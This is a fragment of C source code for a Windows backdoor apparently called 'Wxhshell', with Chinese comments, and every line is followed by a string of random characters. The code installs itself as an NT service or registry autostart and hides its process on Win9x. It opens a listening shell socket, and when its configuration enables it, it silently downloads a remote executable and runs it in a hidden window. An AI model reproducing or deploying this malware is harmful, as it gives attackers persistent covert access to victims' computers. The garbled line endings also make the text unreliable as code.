ULONG UniqueProcessId; 2&V>pE
ULONG InheritedFromUniqueProcessId; N1ipK9a
} PROCESS_BASIC_INFORMATION; G$>?UQ[
]?4;Lw
PROCNTQSIP NtQueryInformationProcess; Z6zV 9hn
:cC$1zv@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `MVqd16Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /xk7Z
q
;\*3A22 #
HANDLE hProcess; 0$)Q@#
PROCESS_BASIC_INFORMATION pbi; KQPu9f9
~(V\.hq
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
8z1z<\
if(NULL == hInst ) return 0; (zo7h
|/gt;H~:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N]+6<
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xfc$M(a
K{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); H.ZIRt!RB
2$Mnwxfk
if (!NtQueryInformationProcess) return 0; j?2~6W/[
Y*c]C;%=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -$Z1X_~;)<
if(!hProcess) return 0; =K`.$R
)aIcA
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; efQ8jO
kG>jb!e@(
CloseHandle(hProcess); zgAU5cw
tY)L^.* 7
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x?wvS]EBg
if(hProcess==NULL) return 0; 8S1@,O,
(TT=i
HMODULE hMod; L"bJ#0m
char procName[255]; &42]#B"*
unsigned long cbNeeded; EwPrh
6iU&9Z<%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); L)JB^cxf
B#V""[Y9
CloseHandle(hProcess); zq};{~u(
;JkSZs3
if(strstr(procName,"services")) return 1; // 以服务启动 OXQ*Xpc
N!K%aH~O
return 0; // 注册表启动 c[Fc3
} ftYJ 3/ WH
VExhN';
// 主模块 64/ZfXD
int StartWxhshell(LPSTR lpCmdLine) (]#^q8)]\9
{ <Q|\mUS6
SOCKET wsl; CQWXLQED>
BOOL val=TRUE; 9\_s&p=:.
int port=0; # ?2*I2_
struct sockaddr_in door; tRoSq;VrS
o,rF 15
if(wscfg.ws_autoins) Install(); T~]~'+<Pi
gnp.!-
port=atoi(lpCmdLine); ^EUR#~b5iy
F1yn@a "=J
if(port<=0) port=wscfg.ws_port; 9+1{a.JO
,%9XG077
WSADATA data; %ztZ#h~g
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5eTA]
SP%X@~d
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lM\dK)p21O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xv]z>4@z,
door.sin_family = AF_INET; *u$aItx
door.sin_addr.s_addr = inet_addr("127.0.0.1"); I*-\u
door.sin_port = htons(port); zb0NqIN:
|nQfgl=V
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |ty&}'6C
closesocket(wsl); (@^9oN~}
return 1; 1`8s
"T
} SXQ@;=]xV
hdo&\Q2D8
if(listen(wsl,2) == INVALID_SOCKET) { >eQbipn
closesocket(wsl); Dt
W*n1Bt
return 1; Y^QKp"
} St6aYK
Wxhshell(wsl); ):3MYSqX
WSACleanup(); 3FFaEl
YnSbw3U.I
return 0; X` ATH^S
QS^~77q
} nt=x]wEC
{{32jU7<
// 以NT服务方式启动 b 8>q;
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZI,j?i6\
{ C)OG62
DWORD status = 0; cg,Ua!c
DWORD specificError = 0xfffffff; rOW;yJ[
:V-k'hm
&
serviceStatus.dwServiceType = SERVICE_WIN32; Rv,82iEKs
serviceStatus.dwCurrentState = SERVICE_START_PENDING; flP>@i:e6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dzr e'
serviceStatus.dwWin32ExitCode = 0; T'.[F
serviceStatus.dwServiceSpecificExitCode = 0; R"Kz!NTB
serviceStatus.dwCheckPoint = 0; bw9
nB{C<
serviceStatus.dwWaitHint = 0; \ZMP_UU(
%%&e"&7HE
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OqBC/p
B
if (hServiceStatusHandle==0) return; 1fY>>*oP
je,c7ZFO
status = GetLastError(); ys%zlbj[
if (status!=NO_ERROR) fJy)STQ4
{ }~F~hf>s
serviceStatus.dwCurrentState = SERVICE_STOPPED; @.gPJMA
serviceStatus.dwCheckPoint = 0; p>q&&;fe
serviceStatus.dwWaitHint = 0; :m Kxa
serviceStatus.dwWin32ExitCode = status; ]v\^&7pW
serviceStatus.dwServiceSpecificExitCode = specificError; qBYg[K>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ul@3
Bt
return; P$ucL~r
} >
H BJk:
6aY>lkp
serviceStatus.dwCurrentState = SERVICE_RUNNING; =We2^W-{
serviceStatus.dwCheckPoint = 0; >aG= T{
serviceStatus.dwWaitHint = 0; 3+>OGwfQ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qnJ50 VVW
} v L}T~_=3
vd (?$
// 处理NT服务事件,比如:启动、停止 Blk}I
VOID WINAPI NTServiceHandler(DWORD fdwControl) J\=a gQ
{ SE)nD@:
switch(fdwControl) 8KMvAc
{ m[:K"lZ
]2
case SERVICE_CONTROL_STOP: mI"D(bx\
serviceStatus.dwWin32ExitCode = 0; AbfZ++aJ
serviceStatus.dwCurrentState = SERVICE_STOPPED; _ie.| 4k
serviceStatus.dwCheckPoint = 0; aGK@)&h$
serviceStatus.dwWaitHint = 0; /e1(?
20
{ ){P^P!s$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ()\jCNLT
} :q
(&$
return; 3-|3`(
case SERVICE_CONTROL_PAUSE: 68e[:wf
serviceStatus.dwCurrentState = SERVICE_PAUSED; H0>yi[2f
break; wL3,g2- L
case SERVICE_CONTROL_CONTINUE: z%sy$^v@vD
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^DB{qU
break; |^( M{
case SERVICE_CONTROL_INTERROGATE: |cd-!iJX-
break; PeTA$Yl
}; K_ke2{4Jm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |PP.<ce\-
} =&vFVIhWcf
U| 5-0 u5
// 标准应用程序主函数 0L#/lDNk
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !{Z~<Ky
{ I=Ijdwb H
wCCV2tk
// 获取操作系统版本 (9C<K<
OsIsNt=GetOsVer(); ke%pZ7{u
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?*u*de[,
314=1JbL
// 从命令行安装 wtH~-xSB|
if(strpbrk(lpCmdLine,"iI")) Install(); qCPmbg
:50b8
// 下载执行文件 nwmW.(R4
if(wscfg.ws_downexe) { T
.n4TmF
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~*.-
WinExec(wscfg.ws_filenam,SW_HIDE); ,S&z<S_
} M;.ZM<Ga
Z(GfK0vU
if(!OsIsNt) { v=?2S
// 如果时win9x,隐藏进程并且设置为注册表启动 se9>.}zZN
HideProc(); e0HfP v_
StartWxhshell(lpCmdLine); 1AD]v<M
} y2|R.EU\m<
else hdma=KqZ(
if(StartFromService()) 'T8W!&$
// 以服务方式启动 $8~e}8dt|
StartServiceCtrlDispatcher(DispatchTable); h2Bz F
else h6D^G5i
// 普通方式启动 Hi}RZMr1
StartWxhshell(lpCmdLine); d+fSoSjX8
s1j{x&OSq
return 0; t^tmz PWA
}